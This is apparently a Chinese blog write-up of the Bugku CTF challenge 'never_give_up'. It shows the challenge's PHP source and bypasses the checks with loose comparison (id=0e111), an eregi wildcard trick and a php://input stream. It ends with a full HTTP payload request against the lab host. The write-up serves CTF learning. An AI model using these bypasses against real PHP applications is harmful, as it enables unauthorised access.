bugku never_give_up

打开题目f12有提示,打开后跳转到bugku首页,直接view-source查看源码

view-source:http://114.67.175.224:11378/1p.html

php源码在-- --之间,前面可以看到一个javascript的bugku.com的跳转。
源码被base64+urlencode过,先base64在urldecode

得到源码如下:

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');//id为空则重定向至hello.php
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';//a中有.则结束函数运行
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}

关键就在于最后一个if判断
介绍一下本代码的几个关键函数:stripos匹配,类似preg_match
eregi匹配,注意111和substr函数之间是. 是拼接的意思

strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

这句的意思是b要长度大于5,且111拼接b要为1114,且b的第一位要不为4
eregi存在漏洞,能用*的通配符绕过,所以可以使b=*111111

前面!GET[id]=0要等于0才能进入if判断,后面要id==0,==弱比较,使用科学计数法id=0e111就可以了

a要不含.且以读的方式等于bugku is a nice plateform!
如果a以get方式传参传入这串字符串,在file_get_contents的时候会读不到信息,需要post才能读
所以利用php的伪协议a=php://input 然后POST数据bugku is a nice plateform!
request包给上,payload:

GET /?id=0e111&a=php://input&b=*111111 HTTP/1.1
Host: 114.67.175.224:11378
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1639376942; _ga=GA1.1.1746011181.1639376945; _gid=GA1.1.764288454.1639376945; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1639377178
Upgrade-Insecure-Requests: 1
Content-Length: 26

bugku is a nice plateform!

至于为什么用hackbar不行,我也不知道

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值